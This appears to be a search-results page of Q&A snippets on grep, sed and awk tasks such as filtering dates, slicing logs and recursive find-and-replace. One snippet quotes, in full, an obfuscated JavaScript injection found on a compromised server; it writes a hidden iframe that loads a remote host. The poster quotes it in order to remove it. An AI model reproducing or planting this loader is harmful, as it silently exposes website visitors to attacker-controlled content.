Search Results

Search found 2253 results on 91 pages for 'grep'.

Page 11/91 | < Previous Page | 7 8 9 10 11 12 13 14 15 16 17 18  | Next Page >

  • Using sed, how to print all lines that match a certain date?

    - by Steve
    Using sed, how to print all lines where the birthdays are in November or December? Assuming input file name "datebook" as follows: Steve Blenheim:238-923-7366:95 Latham Lane, Easton, PA 83755:11/12/56:20300 Betty Boop:245-836-8357:635 Cutesy Lane, Hollywood, CA 91464:6/23/23:14500 Igor Chevsky:385-375-8395:3567 Populus Place, Caldwell, NJ 23875:6/18/68:23400 Karen Evich:284-758-2857:23 Edgecliff Place, Lincoln, NB 92743:7/25/53:85100 Fred Fardbarkle:674-843-1385:20 Parak Lane, Duluth, MN 23850:4/12/23:780900 Lori Gortz:327-832-5728:3465 Mirlo Street, Peabody, MA 34756:10/2/65:35200 Paco Gutierrez:835-365-1284:454 Easy Street, Decatur, IL 75732:2/28/53:123500 Ephram Hardy:293-259-5395:235 CarltonLane, Joliet, IL 73858:8/12/20:56700 ABE LINCOLN:813-555-0123:1549 Cabin Drive, Springfield, IL 61801:2/12/09:79000 James Ikeda:834-938-8376:23445 Aster Ave., Allentown, NJ 83745:12/1/38:45000

    Read the article

  • Move all images in folder to subfolder, and update all references to those images to their new location?

    - by Professor Frink
    I have a folder which contains a ~50 text files (PHP) and hundreds of images. I would like to move all the images to a subfolder, and update the PHP files so any reference to those images point to the new subfolder. I know I can move all the images quite easily (mv *.jpg /image, mv *.gif /image, etc...), but don't know how to go about updating all the text files - I assume a Regex has to be created to match all the images in a file, and then somehow the new directory has to be appended to the image file name? Is this best done with a shell script? Any help is appreciated (Server is Linux/CentOs5) Thanks!

    Read the article

  • Fast extraction of a time range from syslog logfile?

    - by mike
    I've got a logfile in the standard syslog format. It looks like this, except with hundreds of lines per second: Jan 11 07:48:46 blahblahblah... Jan 11 07:49:00 blahblahblah... Jan 11 07:50:13 blahblahblah... Jan 11 07:51:22 blahblahblah... Jan 11 07:58:04 blahblahblah... It doesn't roll at exactly midnight, but it'll never have more than two days in it. I often have to extract a timeslice from this file. I'd like to write a general-purpose script for this, that I can call like: $ timegrep 22:30-02:00 /logs/something.log ...and have it pull out the lines from 22:30, onward across the midnight boundary, until 2am the next day. There are a few caveats: I don't want to have to bother typing the date(s) on the command line, just the times. The program should be smart enough to figure them out. The log date format doesn't include the year, so it should guess based on the current year, but nonetheless do the right thing around New Year's Day. I want it to be fast -- it should use the fact that the lines are in order to seek around in the file and use a binary search. Before I spend a bunch of time writing this, does it already exist?

    Read the article

  • Extracting a line section of mysql backup using sed

    - by carpii
    I occasionally need to extract a single record from a mysqlbackup To do this, I first extract the single table I want from the backup... sed -n -e '/CREATE TABLE.*usertext/,/CREATE TABLE/p' 20120930_backup.sql > table.sql In table.sql, the records are batched using extended inserts (with maybe 100 records per insert before it creates a new line starting with INSERT INTO), so they look like... INSERT INTO usertext VALUES (1, field2 etc), (2, field2 etc), INSERT INTO usertext VALUES (101, field2 etc), (102, field2 etc), ... Im trying to extract record 239560 from this, using... sed -n -e '/(239560.*/,/)/p' table.sql > record.sql Ie.. start streaming when it finds 239560, and stop when it hits the closing bracket But this isnt working as I hoped, it just results in the full insert batch being output. Please can someone give me some pointers as to where Im going wrong? Would I be better off using awk for extracting segments of lines, and use sed for extracting lines within a file?

    Read the article

  • How can I remove malware code in multiple files with sed?

    - by user47556
    I've this malware code in so many .html and .php files on the server. I need to remove them using sed -i expression search all files under directory /home/ find infected files remove the code by replacing it with a white space var usikwseoomg = 'PaBUTyjaZYg3cPaBUTyjaZYg69PaBUTyjaZYg66';var nimbchnzujc = 'PaBUTyjaZYg72';var szwtgmqzekr = 'PaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg20PaBUTyjaZYg6ePaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg3dPaBUTyjaZYg22';var yvofadunjkv = 'PaBUTyjaZYg6dPaBUTyjaZYg67PaBUTyjaZYg79PaBUTyjaZYg65PaBUTyjaZYg64PaBUTyjaZYg61PaBUTyjaZYg67PaBUTyjaZYg70PaBUTyjaZYg7aPaBUTyjaZYg63PaBUTyjaZYg76';var ylydzxyjaci = 'PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg77PaBUTyjaZYg69PaBUTyjaZYg64PaBUTyjaZYg74PaBUTyjaZYg68PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg31PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg68PaBUTyjaZYg65PaBUTyjaZYg69PaBUTyjaZYg67PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22';var xwojmnoxfbs = 'PaBUTyjaZYg20PaBUTyjaZYg73PaBUTyjaZYg72PaBUTyjaZYg63PaBUTyjaZYg3dPaBUTyjaZYg22';var mgsybgilcfx = 'PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg74PaBUTyjaZYg70PaBUTyjaZYg3aPaBUTyjaZYg2fPaBUTyjaZYg2f';var nixyhgyjouf = 'koska.sytes.net/phl/logs/index.php';var nesrtqwuirb = 'PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg6dPaBUTyjaZYg61PaBUTyjaZYg72PaBUTyjaZYg67PaBUTyjaZYg69PaBUTyjaZYg6ePaBUTyjaZYg77PaBUTyjaZYg69PaBUTyjaZYg64PaBUTyjaZYg74PaBUTyjaZYg68PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg31PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg6dPaBUTyjaZYg61PaBUTyjaZYg72PaBUTyjaZYg67PaBUTyjaZYg69PaBUTyjaZYg6ePaBUTyjaZYg68PaBUTyjaZYg65PaBUTyjaZYg69PaBUTyjaZYg67PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg74PaBUTyjaZYg69PaBUTyjaZYg74PaBUTyjaZYg6cPaBUTyjaZYg65PaBUTyjaZYg3dPaBUTyjaZYg22';var rqchyojemkn = 'PaBUTyjaZYg6dPaBUTyjaZYg67PaBUTyjaZYg79PaBUTyjaZYg65PaBUTyjaZYg64PaBUTyjaZYg61PaBUTyjaZYg67PaBUTyjaZYg70PaBUTyjaZYg7aPaBUTyjaZYg63PaBUTyjaZYg76';var niupgeebkhf = 'PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg73PaBUTyjaZYg63PaBUTyjaZYg72PaBUTyjaZYg6fPaBUTyjaZYg6cPaBUTyjaZYg6cPaBUTyjaZYg69PaBUTyjaZYg6ePaBUTyjaZYg67PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg6ePaBUTyjaZYg6fPaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg62PaBUTyjaZYg6fPaBUTyjaZYg72PaBUTyjaZYg64PaBUTyjaZYg65PaBUTyjaZYg72PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg66PaBUTyjaZYg72PaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg62PaBUTyjaZYg6fPaBUTyjaZYg72PaBUTyjaZYg64PaBUTyjaZYg65PaBUTyjaZYg72PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22PaBUTyjaZYg3e';var yyzsvtbnudd = 'PaBUTyjaZYg3cPaBUTyjaZYg2fPaBUTyjaZYg69PaBUTyjaZYg66';var tlclvgxfthn = 'PaBUTyjaZYg72PaBUTyjaZYg61';var zxttbudjafh = 'PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg3e';var yydszqnduko = new Array();yydszqnduko[0]=new Array(usikwseoomg+nimbchnzujc+szwtgmqzekr+yvofadunjkv+ylydzxyjaci+xwojmnoxfbs+mgsybgilcfx+nixyhgyjouf+nesrtqwuirb+rqchyojemkn+niupgeebkhf+yyzsvtbnudd+tlclvgxfthn+zxttbudjafh);document['PaBUTyjaZYgwPaBUTyjaZYgrPaBUTyjaZYgiPaBUTyjaZYgtPaBUTyjaZYgePaBUTyjaZYg'.replace(/PaBUTyjaZYg/g,'')](window['PaBUTyjaZYguPaBUTyjaZYgnPaBUTyjaZYgePaBUTyjaZYgsPaBUTyjaZYgcPaBUTyjaZYgaPaBUTyjaZYgpPaBUTyjaZYgePaBUTyjaZYg'.replace(/PaBUTyjaZYg/g,'')](yydszqnduko.toString().replace(/PaBUTyjaZYg/g,'%')));

    Read the article

  • Multi level or progressive or incremental file search

    - by iraSenthil
    I am looking for a GUI tool in Windows, where I can do search and pass the result to next search and continue. I know I can do this in command line by piping one search result to another, but I am looking for a GUI tool. Here is a sample search, I would like to find all files that has extension ".java". From the result, find all files that has a specific word. From the result, select few files, and search only those files with another keyword.

    Read the article

  • How to Implement Grep into CGI script Please?

    - by Joey jie
    Hi all! I am having difficulty figuring out how to implement grep into my CGI script. Basically I will receive a value of eg. 1500 from a HTML page. The CGI script then runs and compares 1500 to a text file. When it finds 1500 it prints the entire line and displays it on the webpage. I would like some tips and pointers on how to do this please. I understand that this involves grep but I don't really know how to put it in. #include <stdio.h> #include <stdlib.h> int main(void) { char *data; long m,n; printf("%s%c%c\n", "Content-Type:text/html;charset=iso-8859-1",13,10); printf("<TITLE>Webpage of Results</TITLE>\n"); printf("<H1>Temperatures</H1>\n"); data = getenv("QUERY_STRING"); The HTML passes the variable time=1500. I understand (correct me if I am wrong) that QUERY_STRING will contain 1500?

    Read the article

  • Grep expression with special file names

    - by user2919185
    i am a real beginner in csh/tcsh scripting and that's why i need your help. The problem is I have to go through some regular files in directories and find those files, that have their own name in its content. In the following piece of script is cycle in which I am going through paths and using grep to find the file's name in its content. What is surely correct is $something:q - is array of paths where i have to find files. The next variable is name in which is only name of current file. for example: /home/computer/text.txt (paths) and: text.txt (name) And my biggest problem is to find names of files in their content. It's quite difficult for me to write correct grep for this, cause the names of files and directories that i am passing through are mad. Here are some of them: /home/OS/pocitacove/testovaci_adresar/z/test4.pre_expertov/!_1 /home/OS/pocitacove/testovaci_adresar/z/test4.pre_expertov/dam/$user/:e/'/-r /home/OS/pocitacove/testovaci_adresar/z/test3/skusime/ taketo/ taketo /home/OS/pocitacove/testovaci_adresar/z/test4.pre_expertov/.-bla/.-bla/.a=b /home/OS/pocitacove/testovaci_adresar/z/test4.pre_expertov/.-bla/.-bla/@ /home/OS/pocitacove/testovaci_adresar/z/test4.pre_expertov/.-bla/.-bla/: /home/OS/pocitacove/testovaci_adresar/z/test4.pre_expertov/.-bla/.-bla/'ano' foreach paths ($something:q) set name = "$paths:t" @ number = (`grep -Ec "$name" "$paths"`) if ($number != 0) then echo -n "$paths " echo $number endif @ number = 0 end

    Read the article

  • basics of using cut awk grep and sed...

    - by Samantha
    Hello there, I'm trying to extract the year from this output : sam@sam-laptop:~/shell$ date Mon Feb 8 21:57:00 CET 2010 sam@sam-laptop:~/shell$ date | cut -d' ' -f7 2010 sam@sam-laptop:~/shell$ date | awk '{print $6}' 2010 Are there any other ways to get the same result ? using maybe grep, sed etc ? Merci !

    Read the article

  • Non greedy grep

    - by syker
    I want to grep the shortest match and the pattern should be something like: <car ... model=BMW ...> ... ... ... </car> ... means any character and the input is multiple lines.

    Read the article

  • bash: assign grep regex results to array

    - by Ryan
    Hello everyone, I am trying to assign a regular expression result to an array inside of a bash script but I am unsure whether that's possible, or if I'm doing it entirely wrong. The below is what I want to happen, however I know my syntax is incorrect: indexes[4]=$(echo b5f1e7bfc2439c621353d1ce0629fb8b | grep -o '[a-f0-9]\{8\}') such that: index[1]=b5f1e7bf index[2]=c2439c62 index[3]=1353d1ce index[4]=0629fb8b Any links, or advice, would be wonderful :)

    Read the article

  • Easiest way to recursively find and replace?

    - by FarmBoy
    I want to recursively search through a directory of text files and replace every occurrence of foo within the files with bar. What is the easiest way to accomplish this? I imagine that grep would do the job in one line, but I can't seem to find an example of this. I'm working in OS X.

    Read the article

  • sed as grep + ignore # and match

    - by yael
    I have the following file example more somefile param=a b c d e f g z x w # param=a b c d e f g z x w I need to create with sed the following (should be one line if possible): Ignore # char in the beginning of line Match first the param string Second match the "a b c d e f g z x w" (like grep -w) and give exit status if success Something like .... sed "/^ *#/b; /\<param\>/" ....

    Read the article

  • Using AWK, treate files

    - by Mat
    Hi all, I have something to do that it must be finished before 4.00PM. I want create a batch file with awk, grep or sed that keep all lines beginning with 'INSERT' and delete the other lines. After this, i want replace a string "change)" by "servicechange)" when the 3rd word in the treated line is "donextsit". I don't know how to do this before my deadline (4.00 PM). Please HELP ME!! Thx for your answers. And Sorry for my english ;)

    Read the article

  • Linux server, locating files containing nothing but 4 specific lines.

    - by Denis
    Hi, I'm dealing with a compromised website, in which hackers injected an htaccess instruction to redirect traffic. I can easily locate .htaccess files that contain the forwarding hack, BUT in cases where the directory already contained an htaccess file, they appended the dangerous instructions, so I cannot just deleted any htaccess file or could harm the site by letting formerly pw-protected directories wide open, or urlrewrite instructions (WordPress) be deleted, etc. I could not find the way to locate files that only contain those 4 lines of redirect hack, could you shed some light ? So far, using find . -type f -exec grep -q targetpiratedomain {} \; -exec echo rm {} \; Thanks !

    Read the article

  • RegExp to match everything up to first blank line

    - by SKWebDev
    Hi, I'm writing a bash script that will show me what TV programs to watch today, it will get this information from a text file. The text is in the following format: Monday: Family Guy (2nd May) Tuesday: House The Big Bang Theory (3rd May) Wednesday: The Bill NCIS NCIS LA (27th April) Thursday: South Park Friday: FlashForward Saturday: Sunday: HIGNFY Underbelly I'm planning to use 'date +%A' to work out the day of the week and use the output in a grep regex to return the appropriate lines from my text file. If someone can help me with the regex I should be using I would be eternally great full.

    Read the article

  • Merge 2 lines into one

    - by shantanuo
    I have a text file starts with 9 digits college code and ends with of 5 digits course code. 512161000 EN5121 K. K. Jorge Institute of Engineering Education and Research, Nashik 61220 Mechanical Engineering [Second Shift] XOPENH 1 116 16978 517261123 EN5172 R. C. Rustom Institute of Technology, Shirpur 61220 Mechanical Engineering [Second Shift] YOPENH 1 100 29555 617561234 EN6175 abc xyz Education Trust, abc xyz College of Engineering, Pune 61220 Mechanical Engineering [Second Shift] ZOPENH 2 105 25017 There are some entries where there is a line break as shown in the 3 example above. I need to merge 3rd and 4th line into one just like 1st and 2nd line, so that I can easily use command like grep, awk etc.

    Read the article

  • Make a Perl-style regex interpreter behave like a basic or extended regex interpreter

    - by Barry Brown
    I am writing a tool to help students learn regular expressions. I will probably be writing it in Java. The idea is this: the student types in a regular expression and the tool shows which parts of a text will get matched by the regex. Simple enough. But I want to support several different regex "flavors" such as: Basic regular expressions (think: grep) Extended regular expressions (think: egrep) A subset of Perl regular expressions, including the character classes \w, \s, etc. Sed-style regular expressions Java has the java.util.Regex class, but it supports only Perl-style regular expressions, which is a superset of the basic and extended REs. What I think I need is a way to take any given regular expression and escape the meta-characters that aren't part of a given flavor. Then I could give it to the Regex object and it would behave as if it was written for the selected RE interpreter. For example, given the following regex: ^\w+[0-9]{5}-(\d{4})?$ As a basic regular expression, it would be interpreted as: ^\\w\+[0-9]\{5\}-\(\\d\{4\}\)\?$ As an extended regular expression, it would be: ^\\w+[0-9]{5}-(\\d{4})?$ And as a Perl-style regex, it would be the same as the original expression. Is there a "regular expression for regular expressions" than I could run through a regex search-and-replace to quote the non-meta characters? What else could I do? Are there alternative Java classes I could use?

    Read the article

  • script to find "deny" ACE in ACLs, and remove it

    - by Tom
    On my 100TB cluster, I need to find dirs and files that have a "deny" ACE within their ACL, then remove that ACE on each instance. I'm using the following: # find . -print0 | xargs -0 ls -led | grep deny -B4 and get this output (partial, for example only) -r--rw---- 1 chris GroupOne 4096 Mar 6 18:12 ./directoryA/fileX.txt OWNER: user:chris GROUP: group:GroupOne 0: user:chris allow file_gen_read,std_write_dac,file_write_attr 1: user:chris deny file_write,append,file_write_ext_attr,execute -- -r--rwxrwx 1 chris GroupOne 14728221 Mar 6 18:12 ./directoryA/subdirA/fileZ.txt OWNER: user:chris GROUP: group:GroupOne 0: user:chris allow file_gen_read,std_write_dac,file_write_attr 1: user:chris deny file_write,append,file_write_ext_attr,execute -- OWNER: user:bob GROUP: group:GroupTwo 0: user:bob allow dir_gen_read,dir_gen_write,dir_gen_execute,std_write_dac,delete_child,object_inherit,container_inherit 1: group:GroupTwo allow std_read_dac,std_write_dac,std_synchronize,dir_read_attr,dir_write_attr,object_inherit,container_inherit 2: group:GroupTwo deny list,add_file,add_subdir,dir_read_ext_attr,dir_write_ext_attr,traverse,delete_child,object_inherit,container_inherit -- As you can see, depending on where the "deny" ACE is, I can see/not-see the path. I could increase the -B value (I've seen up to 8 ACEs on a file) but then I would get more output to distill from... What I need to do next is extract $ACENUMBER and $PATHTOFILE so that I can execute this command: chmod -a# $ACENUMBER $PATHTOFILE Additional issue is that the find command (above) gives a relative path, whereas I need the full path. I guess that would need to be edited somehow. Any guidance on how to accomplish this?

    Read the article

  • grep 5 seconds of input from the serial port inside a shell-script

    - by pica
    I've got a device that I'm operating next to my PC and as it runs it's spitting log lines out it's serial port. I have this wired to my PC and I can see the log lines fine if I'm using either minicom or something like: ttylog -b 115200 -d /dev/ttyS0 I want to write 5 seconds of the device serial output to a temp file (or assign it to a variable) and then later grep that file for keywords that will let me know how the device is operating. I've already tried redirecting the output to a file while running the command in the background, and then sleeping 5 seconds and killing the process, but the log lines never get written to my temp file. Example: touch tempFile ttylog -b 115200 -d /dev/ttyS0 >> tempFile & serialPID=$! sleep 5 #kill ${serialPID} #does not work, gets wrong PID killall ttylog cat tempFile The file gets created but never filled with any data. I can also replace the ttylog line with: ttylog -b 115200 -d /dev/ttyS0 |tee -a tempFile & In neither case do I ever see any log lines logged to stdout or the log file unless I have multiple versions of ttylog running by mistake (see commented out line, D'oh). I have no idea what's going on here. It seems to be a failure of redirection within my script. Am I on the right track? Is there a better way to sample 5 seconds of the serial port?

    Read the article

  • How do I find, count, and display unique elements of an array using Perl?

    - by Luke
    I am a novice Perl programmer and would like some help. I have an array list that I am trying to split each element based on the pipe into two scalar elements. From there I would like to spike out only the lines that read ‘PJ RER Apts to Share’ as the first element. Then I want to print out the second element only once while counting each time the element appears. I wrote the piece of code below but can’t figure out where I am going wrong. It might be something small that I am just overlooking. Any help would be greatly appreciated. ## CODE ## my @data = ('PJ RER Apts to Share|PROVIDENCE', 'PJ RER Apts to Share|JOHNSTON', 'PJ RER Apts to Share|JOHNSTON', 'PJ RER Apts to Share|JOHNSTON', 'PJ RER Condo|WEST WARWICK', 'PJ RER Condo|WARWICK'); foreach my $line (@data) { $count = @data; chomp($line); @fields = split(/\|/,$line); if (($fields[0] =~ /PJ RER Apts to Share/g)){ @array2 = $fields[1]; my %seen; my @uniq = grep { ! $seen{$_}++ } @array2; my $count2 = scalar(@uniq); print "$array2[0] ($count2)","\n" } } print "$count","\n"; ## OUTPUT ## PROVIDENCE (1) JOHNSTON (1) JOHNSTON (1) JOHNSTON (1) 6

    Read the article

  • Looking to reimplement build toolchain from bash/grep/sed/awk/(auto)make/configure to something more

    - by wash
    I currently maintain a few boxes that house a loosely related cornucopia of coding projects, databases and repositories (ranging from a homebrew *nix distro to my class notes), maintained by myself and a few equally pasty-skinned nerdy friends (all of said cornucopia is stored in SVN). The vast majority of our code is in C/C++/assembly (a few utilities are in python/perl/php, we're not big java fans), compiled in gcc. Our build toolchain typically consists of a hodgepodge of make, bash, grep, sed and awk. Recent discovery of a Makefile nearly as long as the program it builds (as well as everyone's general anxiety with my cryptic sed and awking) has motivated me to seek a less painful build system. Currently, the strongest candidate I've come across is Boost Build/Bjam as a replacement for GNU make and python as a replacement for our build-related bash scripts. Are there any other C/C++/asm build systems out there worth looking into? I've browsed through a number of make alternatives, but I haven't found any that are developed by names I know aside from Boost's. (I should note that an ability to easily extract information from svn commandline tools such as svnversion is important, as well as enough flexibility to configure for builds of asm projects as easily as c/c++ projects)

    Read the article

< Previous Page | 7 8 9 10 11 12 13 14 15 16 17 18  | Next Page >